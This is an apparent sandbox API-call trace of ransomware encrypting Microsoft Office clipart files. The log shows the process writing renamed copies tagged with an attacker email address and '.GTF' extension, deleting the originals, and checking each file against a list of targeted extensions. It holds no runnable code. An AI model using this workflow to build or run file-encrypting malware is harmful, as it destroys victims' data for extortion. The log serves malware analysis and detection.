	[0169.196] ReadFile (in: hFile=0x504, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x13d4, lpOverlapped=0x0) returned 1
	[0169.231] WriteFile (in: hFile=0x534, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x13e0, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x13e0, lpOverlapped=0x0) returned 1
	[0169.232] ReadFile (in: hFile=0x504, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.232] WriteFile (in: hFile=0x534, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.232] SetEndOfFile (hFile=0x534) returned 1
	[0169.233] CloseHandle (hObject=0x534) returned 1
	[0169.233] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.233] SetEndOfFile (hFile=0x504) returned 1
	[0169.238] CloseHandle (hObject=0x504) returned 1
	[0169.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0169.239] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf")) returned 1
	[0169.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68
	[0169.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68
	[0169.239] lstrlenW (lpString=".doc") returned 4
	[0169.239] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.239] lstrlenW (lpString=".docx") returned 5
	[0169.239] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0169.239] lstrlenW (lpString=".pdf") returned 4
	[0169.239] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.239] lstrlenW (lpString=".xls") returned 4
	[0169.239] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.240] lstrlenW (lpString=".xlsx") returned 5
	[0169.240] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0169.240] lstrlenW (lpString=".ppt") returned 4
	[0169.240] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68
	[0169.240] lstrlenW (lpString=".zip") returned 4
	[0169.240] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.240] lstrlenW (lpString=".rar") returned 4
	[0169.240] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.240] lstrlenW (lpString=".bz2") returned 4
	[0169.240] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.240] lstrlenW (lpString=".7z") returned 3
	[0169.240] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68
	[0169.240] lstrlenW (lpString=".dbf") returned 4
	[0169.240] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68
	[0169.240] lstrlenW (lpString=".1cd") returned 4
	[0169.240] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68
	[0169.240] lstrlenW (lpString=".jpg") returned 4
	[0169.240] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68
	[0169.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68
	[0169.240] lstrlenW (lpString=".doc") returned 4
	[0169.240] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.240] lstrlenW (lpString=".docx") returned 5
	[0169.240] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0169.240] lstrlenW (lpString=".pdf") returned 4
	[0169.240] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.240] lstrlenW (lpString=".xls") returned 4
	[0169.240] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.240] lstrlenW (lpString=".xlsx") returned 5
	[0169.241] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0169.241] lstrlenW (lpString=".ppt") returned 4
	[0169.241] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68
	[0169.241] lstrlenW (lpString=".zip") returned 4
	[0169.241] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.241] lstrlenW (lpString=".rar") returned 4
	[0169.241] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.241] lstrlenW (lpString=".bz2") returned 4
	[0169.241] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.241] lstrlenW (lpString=".7z") returned 3
	[0169.241] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68
	[0169.241] lstrlenW (lpString=".dbf") returned 4
	[0169.241] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68
	[0169.241] lstrlenW (lpString=".1cd") returned 4
	[0169.241] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF") returned 68
	[0169.241] lstrlenW (lpString=".jpg") returned 4
	[0169.241] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.241] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0169.241] lstrlenW (lpString="J0107364.WMF") returned 12
	[0169.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0169.242] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=16588) returned 1
	[0169.242] CloseHandle (hObject=0x504) returned 1
	[0169.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf")) returned 0x220
	[0169.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0169.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0169.243] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.243] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0169.243] GetLastError () returned 0x0
	[0169.243] ReadFile (in: hFile=0x504, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x40cc, lpOverlapped=0x0) returned 1
	[0169.250] WriteFile (in: hFile=0x528, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x40d0, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x40d0, lpOverlapped=0x0) returned 1
	[0169.251] ReadFile (in: hFile=0x504, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.251] WriteFile (in: hFile=0x528, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.251] SetEndOfFile (hFile=0x528) returned 1
	[0169.252] CloseHandle (hObject=0x528) returned 1
	[0169.252] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.252] SetEndOfFile (hFile=0x504) returned 1
	[0169.254] CloseHandle (hObject=0x504) returned 1
	[0169.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0169.255] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf")) returned 1
	[0169.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68
	[0169.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68
	[0169.255] lstrlenW (lpString=".doc") returned 4
	[0169.255] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.255] lstrlenW (lpString=".docx") returned 5
	[0169.255] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0169.255] lstrlenW (lpString=".pdf") returned 4
	[0169.256] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.256] lstrlenW (lpString=".xls") returned 4
	[0169.256] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.256] lstrlenW (lpString=".xlsx") returned 5
	[0169.256] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0169.256] lstrlenW (lpString=".ppt") returned 4
	[0169.256] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68
	[0169.256] lstrlenW (lpString=".zip") returned 4
	[0169.256] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.256] lstrlenW (lpString=".rar") returned 4
	[0169.256] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.256] lstrlenW (lpString=".bz2") returned 4
	[0169.256] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.256] lstrlenW (lpString=".7z") returned 3
	[0169.256] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68
	[0169.256] lstrlenW (lpString=".dbf") returned 4
	[0169.256] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68
	[0169.256] lstrlenW (lpString=".1cd") returned 4
	[0169.256] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68
	[0169.256] lstrlenW (lpString=".jpg") returned 4
	[0169.256] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68
	[0169.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68
	[0169.256] lstrlenW (lpString=".doc") returned 4
	[0169.256] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.256] lstrlenW (lpString=".docx") returned 5
	[0169.256] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0169.256] lstrlenW (lpString=".pdf") returned 4
	[0169.257] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.257] lstrlenW (lpString=".xls") returned 4
	[0169.257] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.257] lstrlenW (lpString=".xlsx") returned 5
	[0169.257] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0169.257] lstrlenW (lpString=".ppt") returned 4
	[0169.257] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68
	[0169.257] lstrlenW (lpString=".zip") returned 4
	[0169.257] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.257] lstrlenW (lpString=".rar") returned 4
	[0169.257] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.257] lstrlenW (lpString=".bz2") returned 4
	[0169.257] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.257] lstrlenW (lpString=".7z") returned 3
	[0169.257] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68
	[0169.257] lstrlenW (lpString=".dbf") returned 4
	[0169.257] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68
	[0169.257] lstrlenW (lpString=".1cd") returned 4
	[0169.257] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF") returned 68
	[0169.257] lstrlenW (lpString=".jpg") returned 4
	[0169.257] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.257] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0169.257] lstrlenW (lpString="J0107426.WMF") returned 12
	[0169.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0169.259] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=11492) returned 1
	[0169.259] CloseHandle (hObject=0x504) returned 1
	[0169.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf")) returned 0x220
	[0169.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0169.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0169.260] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.260] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0169.261] GetLastError () returned 0x0
	[0169.261] ReadFile (in: hFile=0x504, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x2ce4, lpOverlapped=0x0) returned 1
	[0169.266] WriteFile (in: hFile=0x528, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x2cf0, lpOverlapped=0x0) returned 1
	[0169.267] ReadFile (in: hFile=0x504, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.267] WriteFile (in: hFile=0x528, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.267] SetEndOfFile (hFile=0x528) returned 1
	[0169.267] CloseHandle (hObject=0x528) returned 1
	[0169.267] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.267] SetEndOfFile (hFile=0x504) returned 1
	[0169.269] CloseHandle (hObject=0x504) returned 1
	[0169.269] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0169.270] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf")) returned 1
	[0169.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68
	[0169.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68
	[0169.270] lstrlenW (lpString=".doc") returned 4
	[0169.270] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.270] lstrlenW (lpString=".docx") returned 5
	[0169.271] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0169.271] lstrlenW (lpString=".pdf") returned 4
	[0169.271] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.271] lstrlenW (lpString=".xls") returned 4
	[0169.271] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.271] lstrlenW (lpString=".xlsx") returned 5
	[0169.271] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0169.271] lstrlenW (lpString=".ppt") returned 4
	[0169.271] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68
	[0169.271] lstrlenW (lpString=".zip") returned 4
	[0169.271] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.271] lstrlenW (lpString=".rar") returned 4
	[0169.271] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.271] lstrlenW (lpString=".bz2") returned 4
	[0169.271] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.271] lstrlenW (lpString=".7z") returned 3
	[0169.271] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68
	[0169.271] lstrlenW (lpString=".dbf") returned 4
	[0169.271] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68
	[0169.271] lstrlenW (lpString=".1cd") returned 4
	[0169.271] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68
	[0169.271] lstrlenW (lpString=".jpg") returned 4
	[0169.271] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68
	[0169.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68
	[0169.271] lstrlenW (lpString=".doc") returned 4
	[0169.271] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0169.271] lstrlenW (lpString=".docx") returned 5
	[0169.272] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0169.272] lstrlenW (lpString=".pdf") returned 4
	[0169.272] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0169.272] lstrlenW (lpString=".xls") returned 4
	[0169.272] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0169.272] lstrlenW (lpString=".xlsx") returned 5
	[0169.272] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0169.272] lstrlenW (lpString=".ppt") returned 4
	[0169.272] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0169.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68
	[0169.272] lstrlenW (lpString=".zip") returned 4
	[0169.272] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0169.272] lstrlenW (lpString=".rar") returned 4
	[0169.272] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0169.272] lstrlenW (lpString=".bz2") returned 4
	[0169.272] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0169.272] lstrlenW (lpString=".7z") returned 3
	[0169.272] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0169.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68
	[0169.272] lstrlenW (lpString=".dbf") returned 4
	[0169.272] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0169.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68
	[0169.272] lstrlenW (lpString=".1cd") returned 4
	[0169.272] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0169.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF") returned 68
	[0169.272] lstrlenW (lpString=".jpg") returned 4
	[0169.272] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0169.272] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0169.272] lstrlenW (lpString="J0107446.WMF") returned 12
	[0169.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0169.273] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=30336) returned 1
	[0169.273] CloseHandle (hObject=0x504) returned 1
	[0169.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf")) returned 0x220
	[0169.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0169.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0169.274] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.274] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528
	[0169.274] GetLastError () returned 0x0
